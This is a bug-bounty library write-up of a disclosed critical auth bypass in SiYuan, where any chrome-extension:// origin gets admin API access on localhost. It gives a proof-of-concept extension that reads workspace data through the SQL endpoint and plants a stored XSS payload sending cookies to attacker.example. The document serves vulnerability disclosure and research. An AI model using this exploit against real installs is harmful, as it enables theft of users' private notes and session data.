# SiYuan: Unauthenticated Admin API Access via Blanket chrome-extension:// Origin Allowlist

SiYuan kernel's CheckAuth grants RoleAdministrator to any chrome-extension:// Origin, letting any installed extension call admin APIs unauthenticated on 127.0.0.1:6806.

- Payout: Research
- Severity: critical
- Program: SiYuan
- Found by: oduoke567
- Disclosed: 2026-07-10
- CVE: CVE-2026-54069
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-hvr9-72v2-fff3
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-hvr9-72v2-fff3
- Tags: area:os domain:desktop impact:data-leak impact:integrity kind:research platform:ghsa sev:critical technique:source-review vuln:access-control vuln:auth-bypass vuln:xss

**Target:** SiYuan kernel HTTP API (127.0.0.1:6806) via browser extension origin
**Root cause:** CheckAuth middleware in kernel/model/session.go exempts any Origin with prefix chrome-extension:// from auth and assigns RoleAdministrator, without validating a specific extension ID; AccessAuthCode defaults empty on desktop.
**Steps:**
1. Install a minimal MV3 Chrome extension with only a background service_worker and no host_permissions.
2. From bg.js, POST `{}` to `http://127.0.0.1:6806/api/system/getConf`; response code 0 confirms admin access.
3. Exfiltrate data via POST to `/api/query/sql` with body `{"stmt":"SELECT * FROM blocks LIMIT 100"}`.
4. Enumerate docs via `/api/filetree/listDocsByPath` with `{"notebook":"","path":"/"}`.
5. Inject stored XSS via `/api/block/insertBlock` with dataType markdown and an `<img src=x onerror=...>` payload under a doc's parentID.
**How found:** Code review of the CheckAuth middleware: noticed a strings.HasPrefix(origin, "chrome-extension://") auth-skip branch that trusts the whole scheme rather than a specific extension ID, then confirmed empty default AccessAuthCode on desktop makes the bypass fully unauthenticated.
**Exploitation:** Any installed Chrome/Chromium extension (including a compromised legitimate one pushed via supply chain) sends its chrome-extension:// Origin automatically; the kernel grants admin role with no token, so the extension reads the whole workspace via SQL query/export endpoints, writes stored XSS into notes, and tampers config for persistence.
**Escalation:** Supply chain amplification: one malicious update to a popular extension silently compromises every SiYuan desktop user; config tampering via /api/system/setConf expands attack surface.
**Insight:** When auditing localhost desktop-app APIs, grep auth middleware for scheme-prefix or substring origin checks (chrome-extension://, moz-extension://, app://) — trusting a scheme instead of an exact origin/extension ID turns every installed extension into an admin, and empty default auth codes make it unauthenticated.

## Proof of concept (copied exactly from the original report)

**Chrome extension manifest for PoC**

```
{
  "manifest_version": 3,
  "name": "SiYuan PoC",
  "version": "1.0",
  "background": {
    "service_worker": "bg.js"
  }
}
```

**bg.js admin API fetch calls**

```
// bg.js -- runs as chrome-extension://<id>
// No special host_permissions needed; localhost is accessible by default

// 1. Verify admin access
fetch('http://127.0.0.1:6806/api/system/getConf', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: '{}'
}).then(r => r.json()).then(data => {
  console.log('[PoC] Admin API access confirmed:', data.code === 0);
});

// 2. Exfiltrate workspace data
fetch('http://127.0.0.1:6806/api/query/sql', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ stmt: 'SELECT * FROM blocks LIMIT 100' })
}).then(r => r.json()).then(data => {
  console.log('[PoC] Exfiltrated blocks:', data.data?.length);
});
```

**Stored XSS injection via insertBlock**

```
// 3. Inject stored XSS payload into a note
fetch('http://127.0.0.1:6806/api/filetree/listDocsByPath', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ notebook: '', path: '/' })
}).then(r => r.json()).then(tree => {
  const firstDoc = tree.data?.files?.[0];
  if (!firstDoc) return;

  fetch('http://127.0.0.1:6806/api/block/insertBlock', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      dataType: 'markdown',
      data: '<img src=x onerror="fetch(\'https://attacker.example/steal?data=\'+document.cookie)">',
      parentID: firstDoc.id
    })
  });
});
```

